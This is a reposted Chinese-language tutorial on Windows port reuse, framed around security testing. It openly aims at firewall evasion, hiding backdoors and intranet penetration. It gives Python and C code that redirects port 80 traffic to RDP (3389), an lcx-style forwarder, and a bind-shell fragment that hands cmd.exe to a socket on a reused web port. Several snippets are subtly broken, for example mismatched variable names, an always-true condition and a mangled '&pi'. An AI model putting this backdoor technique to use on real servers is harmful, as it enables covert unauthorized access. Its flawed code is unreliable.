原文地址:http://mobile.51cto.com/hot-557084.htm
0x00 開篇
端口復用一直是木馬病毒常用的手段,在我們進行安全測試時,有時也是需要端口復用的。
端口復用的一般條件有如下一些:
- 服務器只對外開放某一端口(80端口或其他任意少量端口),其他端口全部被封死
- 為了躲避防火牆
- 隱藏自己后門
- 轉發不出端口
- 內網滲透(如:當當前服務器處於內網之中,內網IP為10.10.10.10開放終端登錄端口但並不對外網開放,通過外網IP:111.111.111.111進行端口映射並只開放80端口,通過端口復用,直連內網)。
綜上,所以為了實現我們的各種小目的,端口復用技術,還是有那么點必要。
本文主要以Windows系統端口復用為主,Linux的端口復用相對於Windows簡單和容易實現,不做討論。
0x01 端口復用要點
端口復用,不能用一般的 socket 套接字直接監聽,這樣會導致程序自身無法運行,或者相關占用端口服務無法運行,所以,辦法暫時只有在本地做些手腳。
***種,端口復用重定向
例:在本地建立兩個套接字 sock1 、 scok2 , scok1 監聽80端口,當有連接來到時, Sock2 連接重定向端口,將 Sock1 接收到的數據加以判斷並通過 Sock2 轉發。這樣就能通過訪問目標機80端口來連接重定向端口了。
第二種,端口復用
例:在本地建立一個監聽和本地開放一樣的端口如80端口,當有連接來到時,判斷是否是自己的數據包,如果是則處理數據,否則不處理,交給源程序。
端口復用其實沒有大家想象的那么神秘和復雜,其中端口重定向只是利用了本地環回地址127.0.0.1轉發接收外來數據,端口復用只是利用了 socket 的相關特性,僅此而已。
TCP的端口復用就一段代碼實現,如下
- s = socket(AF_INET,SOCK_STREAM,0);
- setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));
- server.sin_family=AF_INET;
- server.sin_port=htons(80);
- server.sin_addr.s_addr=htonl(“127.0.0.1”);
在端口復用技術中最重要的一個函數是 setsockopt() ,這個函數就決定了端口的重綁定問題。
百度百科的解釋: setsockopt() 函數,用於任意類型、任意狀態套接口的設置選項值。盡管在不同協議層上存在選項,但本函數僅定義了***的“套接口”層次上的選項。
在缺省條件下,一個套接口不能與一個已在使用中的本地地址捆綁(bind()))。但有時會需要“重用”地址。因為每一個連接都由本地地址和遠端地址的組合唯一確定,所以只要遠端地址不同,兩個套接口與一個地址捆綁並無大礙。為了通知套接口實現不要因為一個地址已被一個套接口使用就不讓它與另一個套接口捆綁,應用程序可在 bind() 調用前先設置 SO_REUSEADDR 選項。請注意僅在 bind() 調用時該選項才被解釋;故此無需(但也無害)將一個不會共用地址的套接口設置該選項,或者在 bind() 對這個或其他套接口無影響情況下設置或清除這一選項。
我們這里要使用的是 socket 中的 SO_REUSEADDR ,下面是它的解釋。
SO_REUSEADDR 提供如下四個功能:
- SO_REUSEADDR:允許啟動一個監聽服務器並捆綁其眾所周知端口,即使以前建立的將此端口用做他們的本地端口的連接仍存在。這通常是重啟監聽服務器時出現,若不設置此選項,則bind時將出錯。
- SO_REUSEADDR:允許在同一端口上啟動同一服務器的多個實例,只要每個實例捆綁一個不同的本地IP地址即可。對於TCP,我們根本不可能啟動捆綁相同IP地址和相同端口號的多個服務器。
- SO_REUSEADDR:允許單個進程捆綁同一端口到多個套接口上,只要每個捆綁指定不同的本地IP地址即可。這一般不用於TCP服務器。
- SO_REUSEADDR:允許完全重復的捆綁:當一個IP地址和端口綁定到某個套接口上時,還允許此IP地址和端口捆綁到另一個套接口上。一般來說,這個特性僅在支持多播的系統上才有,而且只對UDP套接口而言(TCP不支持多播)。
一般地,我們需要設置 socket 為非阻塞模式,緣由如果我們是阻塞模式,有可能會導致原有占用端口服務無法使用或自身程序無法使用,由此可見,端口復用使用非阻塞模式是比較保險的。
然而理論事實是需要檢驗的,當有些端口設置非阻塞時,緣由它的數據傳輸連續性,可能會導致數據接收異常或者無法接收到數據情況,非阻塞對於短暫型連接影響不大,但對持久性連接可能會有影響,比如3389端口的轉發復用,所以使用非阻塞需要視端口情況而定。
阻塞
阻塞調用是指調用結果返回之前,當前線程會被掛起(線程進入非可執行狀態,在這個狀態下,cpu不會給線程分配時間片,即線程暫停運行)。函數只有在得到結果之后才會返回。
非阻塞
非阻塞和阻塞的概念相對應,指在不能立刻得到結果之前,該函數不會阻塞當前線程,而會立刻返回。
0x02 端口復用的坑點
在端口復用上可分為 理論 和 實戰 ,下面來細細談談其中的坑點。
理論:在理論上,我們通過端口復用技術,不會對其他占用此端口的程序或者進程造成影響,因為我們設置了 socket 為 SO_REUSEADDR ,監聽 0.0.0.0:80 和監聽 192.168.1.1:80 或者監聽 127.0.0.1:80 ,他們的地址是不同的,創建了程序或者進程所接收到的流量是相互不影響的,多個線程或進程互不影響。
實戰:在Windows中,我們設置了 socket 為 SO_REUSEADDR ,但是無法開啟端口復用程序,關閉Web服務程序,端口復用程序可用但Web服務程序又無法使用,只能存在一樣,所以端口復用是雞肋是備胎。哦,不,是千斤頂,換備胎的時候用一下。
在理論上,我們的想法是***的,然而現實確是,你設置了 socket 為 SO_REUSEADDR 並沒有想象中的那么大作用。
當程序編寫人員 socket 在綁定前需要使用 setsockopt 指定 SO_EXCLUSIVEADDRUSE 要求獨占所有的端口地址,而不允許復用。這樣其它人就無法復用這個端口了,即使你設置了 socket 為 SO_REUSEADDR 也沒有用,程序根本跑不起來。
在windows上測試端口復用時,當啟動iis服務,端口復用程序無法正常運行,開啟端口復用程序時IIS無法正常使用,后查閱相關文檔得知,原因是從IIS6.0開始,微軟將網絡通信的過程封裝在了ring0層,使用了http.sys這個驅動來直接進行網絡通信。一個設置了 SO_REUSEADDR 的 socket 總是可以綁定到已經被綁定過的源地址和源端口,不管之前在這個地址和端口上綁定的 socket 是否設置了 SO_REUSEADDR 沒有。這種操作對系統的安全性產生了極大的影響,於是乎,Microsoft就加入了另一個 socket 選項: SO_EXECLUSIVEADDRUSE 。設置了 SO_EXECLUSIVEADDRUSE 的 socket 確保一旦綁定成功,那么被綁定的源端口和地址就只屬於這一個 socket ,其它的 socket 都不能綁定,甚至他們使用了 SO_REUSEADDR 請求端口復用也沒用(當然你也可以修改iis的監聽地址或者注入 http.sys 驅動,不過這在實戰中不太現實)。
在這其中,也有例外,比如apache和其他運行在應用層上的服務器中間件,在他們開放的端口上是可以進行端口復用的,不過這樣,端口復用的范圍就小了許多。
然而你們以為事實上就這樣了嗎?NO!NO!NO!
端口的流量是通過協議完成的,一旦多個協議通過一個端口,流量就只會流向一個連接,流量流向***一個(***一個)建立連接的 socket ,其他的 socket 可能會連接WAIT,等待數據連接中斷或者完成數據傳輸后正常退出,而另外一個連接就會阻塞而無法使用,所以應了那句中國諺語“一山不容二虎”(用分流數據轉發這樣發生的幾率會小一些)。
數據分流的話,和 burp 和 Fiddler 的原理一樣,采用代理中轉的方式進行中間人轉發,這樣就既可以保證端口的復用,又可以保證數據的完整性。
繞過這些坑點的方法有很多的思路,舉幾個例子
- 本地端口代理中轉轉發
- Hook注入
- 驅動注入
繞過方法不在本文討論范圍內。^__^
0x03 端口復用過程
原理和坑點講完了,還是來講一下端口復用的具體細節吧(即使現在我們知道了端口復用的尿性)
實驗說明:本文實驗均在理論試驗中,所有服務中間件均在系統應用層運行。
目前綁定端口復用有兩種:
- 復用端口重定向
- 復用端口
(一)復用端口重定向
使用條件:
原先存在80端口,並且監聽80端口,需要復用80端口重定向到3389(其他任意)端口
准備環境:
這里我用jspstudy搭建一個網頁服務器,用虛擬機模擬外部環境
- Windows7服務器:IP:192.168.1.8,開放80端口,3389端口
- Win2008 虛擬機:IP:192.168.19.130
我們開啟服務器並查看開放的端口,可以看到我們開放了80端口和3389端口
我們現在啟動端口復用工具,看看網頁是否正常
接着win2008服務器192.168.19.130打開遠程桌面連接器連接192.168.1.8的80端口
可以看到,我們成功的連接到了192.168.1.8的3389端口
(二)復用端口
使用條件:
原先存在80端口,並且監聽80端口,需要復用80端口為23(其他任意)端口
准備環境:
這里我用jspstudy搭建一個網頁服務器,用虛擬機模擬外部環境
- Windows7服務器:IP:192.168.1.8,開放80端口
- Win2008虛擬機:IP:192.168.19.130
這里的端口復用是模擬一個cmd后門,當外部IP:192.168.19.130 telnet本地IP:192.168.1.8時,反彈一個cmsdshell過去。
啟動端口復用工具,telnet連接192.168.1.8的80端口
可以看到我們成功得到了一個cmd shell的會話。
好了,具體的理論和坑點和實戰我們都做了,那么下面開始我們的源碼分析。
0x04 端口復用源碼分析
(一):復用端口重定向
目的:原先存在80端口,並且監聽80端口,22,23,3389等端口復用80端口
復用端口重定向的實現
- (1)外部IP連本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
- (2)本地IP轉外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
首先外部 IP(192.168.2.1) 連接本地 IP(192.168.1.1) 的 80 端口,由於本地 IP(192.168.1.1) 端口復用綁定了 80 端口,所以復用綁定端口監聽到了外部 IP(192.168.2.1) 地址流量,判斷是否為HTTP流量,如果是則發送回本地 80 端口,否則本地 IP(192.168.1.1) 地址連接本地 ip(127.0.0.1) 的 3389 端口,從本地 IP(127.0.0.1) 端口 3389 獲取到的流量由本地 IP(192.168.1.1) 地址發送到外部 IP(192.168.2.1) 地址上,這個過程就完成了整個端口復用重定向。
我們用python代碼解釋,如下:
#coding=utf-8 import socket import sys import select host='192.168.1.8' port=80 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) s.bind((host,port)) s.listen(10) S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) S1.connect(('127.0.0.1',3389)) print "Start Listen 80 =>3389....." while 1: infds,outfds,errfds=select.select([s,],[],[],5) #轉發3389需去除 if len(infds)!=0:#轉發3389需去除 conn,(addr,port)=s.accept() print '[*] connected from ',addr,port data=conn.recv(4096) S1.send(data) recv_data=s1.recv(4096) conn.send(recv_data) print '[-] connected down', S1.close() s.close()
首先我們創建了兩個套接字 s 和 s1 , s 綁定 80 端口,其中 setsockopt 用到了 socket.SO_REUSEADDR 以達到端口復用目的, s1 連接本地 3389 端口, s1 在這里起到了數據中轉的作用, select 是我們用來處理阻塞問題的,不過在這里這段代碼是有點問題的,這個問題在前文說過, 3389 端口能夠連上,但是數據傳輸會中斷,我們需要開啟多線程來保證數據的連續性傳輸並取消掉 select 。
那么如果要區分兩者數據呢?
我們只需要加上一個判斷(怎么判斷數據標頭可以自定義),或者判斷自己的標記頭。
if 'GET' or ‘POST’ in data: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',80)) s.send(data) bufer='' while 1: recv_data=s.recv(4096) bufer += recv_data if len(recv_data)==0: break
我們把不是我們的數據包中轉發給本地環回地址的 80 端口http服務器。
以下為C語言實現代碼,如下:
和python的代碼一樣,首先我們綁定本地監聽復用的 80 端口,其中監聽的IP可能會出現問題,那么我們可以換成 192.168.1.1 , 127.0.0.1 都是可以的,這里不能用 select 來處理阻塞,會出問題的,所以我們去掉,***創建個線程來進行數據傳輸交互。
//初始化操作 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("0.0.0.0"); saddr.sin_port = htons(80); if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("[-] error!socket failed!//n"); return (-1); } //復用操作 if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0) { printf("[-] error!setsockopt failed!//n"); return -1; } //綁定操作 if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) { ret = GetLastError(); printf("[-] error!bind failed!//n"); return -1; } //監聽操作 listen(server_sock, 2); while (1) { caddsize = sizeof(scaddr); server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize); if (server_conn != INVALID_SOCKET) { cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid); if (cthd == NULL) { printf("[-] Thread Creat Failed!//n"); break; } } CloseHandle(cthd); } closesocket(server_sock); WSACleanup(); return 0; }
這里有一個 ClientThread() 函數,這個函數是需要在 main() 函數里面調用的(見如上代碼),這里創建一個套接字來連接本地的 3389 端口,用 while 循環來處理復用交互的數據, 80 端口監聽到的數據發送到本地的 3389 端口上面去,從本地的 3389 端口讀取到的數據用 80 端口的套接字發送出去,這就構成了端口復用的重定向,當然在這個地方可以像上面python代碼一樣,在中間加一個數據判斷條件,從而保證數據流向的完整和可靠和精准性。
//創建線程 DWORD WINAPI ClientThread(LPVOID lpParam) { //連接本地目標3389 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(3389); if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("[-] error!socket failed!//n"); return -1; } val = 100; if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0) { ret = GetLastError(); return -1; } if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0) { ret = GetLastError(); return -1; } if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0) { printf("[-] error!socket connect failed!//n"); closesocket(conn_sock); closesocket(ss); return -1; } //數據交換處理 while (1) { num = recv(ss, buf, 4096, 0); if (num > 0){ send(conn_sock, buf, num, 0); } else if (num == 0) { break; } num = recv(conn_sock, buf, 4096, 0); if (num > 0) { send(ss, buf, num, 0); } else if (num == 0) { break; } } closesocket(ss); closesocket(conn_sock); return 0; }
還有一種方法就是端口轉發達到端口復用的效果,我們用lcx等端口轉發工具也可以實現同等效果,不過隱蔽性就不是很好了,不過還是提一下吧。
下面是 python 代碼實現 lcx 的端口轉發功能,由於篇幅限制,就只寫出核心代碼。
首先定義兩個函數,一個 server 端和一個 connect 端, server 用於綁定端口, connect 用於連接轉發端口。
這里的 select 來處理套接字阻塞問題, get_stream() 函數用於交換 sock 流對象,這樣做的好處是雙方分工明確,避免混亂, ex_stream() 函數用於流對象的數據轉發。 Connect() 函數里多了個時間控制,控制連接超時和等待連接,避免連接出錯異常。
然而事實是 select 控制阻塞后, 3389 端口的連接無法正常通信,其他短暫性連接套接字不受影響。
def get_stream(flag): pass def ex_stream(host, port, flag, server1, server2): pass def server(port, flag): host = '0.0.0.0' server = create_socket() server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((host, port)) server.listen(10) while True: infds,outfds,errfds=select.select([server,],[],[],5) if len(infds)!= 0: conn, addr = server.accept() print ('[+] Connected from: %s:%s' % (addr,port)) streams[flag] = conn server_sock2 = get_stream(flag) ex_stream(host, port, flag, conn, server_sock2) def connect(host, port, flag): connet_timeout = 0 wait_time = 30 timeout = 5 while True: if connet_timeout > timeout: streams[flag] = 'Exit' print ('[-] Not connected %s:%i!' % (host,port)) return None conn_sock = create_socket() try: conn_sock.connect((host, port)) except Exception, e: print ('[-] Can not connect %s:%i!' % (host, port)) connet_timeout += 1 time.sleep(wait_time) continue print "[+] Connected to %s:%i" % (host, port) streams[flag] = conn_sock conn_sock2 = get_stream(flag) ex_stream(host, port, flag, conn_sock, conn_sock2)
(一):端口復用
端口復用的原理是與源端口占用程序監聽同一端口,當復用端口有數據來時,我們可以判斷是否是自己的數據包,如果是自己的,那么就自己處理,否則把數據包交給源端口占用程序處理。
在這里有個問題就是,如果你不處理數據包的歸屬問題的話,那么這個端口就會被端口復用程序占用,從而導致源端口占用程序無法工作。
- 外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
- 內部IP:return(data)=>192.168.1.1:80=>192.168.2.1
代碼以cmd后門為例,我們還是先創建一個TCP套接字
- listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
設置 socket 可復用 SO_REUSEADDR
- BOOL val = TRUE;
- setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
設置IP和復用端口號,IP和端口號視情況而定。
- sockaddr_in sockaaddr;
- sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8");
- sockaaddr.sin_family = AF_INET;
- sockaaddr.sin_port = htons(80);
設置反彈的程序,以 cmd.exe 為例,首先創建窗口特性並初始化為 CreateProcess() 創建進程做准備,當 cmd.exe 的進程創建成功后,以 socket 進行數據通信交換,這里還可以換成其他程序,比如 Shellcode 小馬接收器、寫入文件程序、后門等等。
- STARTUPINFO si;
- ZeroMemory(&si, sizeof(si));
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;
- char cmdLine[] = "cmd";
- PROCESS_INFORMATION pi;
- ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, π);
0x05總結
在端口復用技術中,確實有許多的坑點。其實只要我們知道其中的特性,繞過也是不難的。端口復用在Linux系統中我覺得還好,但是端口復用這個技術放到Windows系統中,我覺得端口復用就好像是千斤頂,換備胎的時候可以用下,不可長時間使用,否則會出現問題的(^__^)。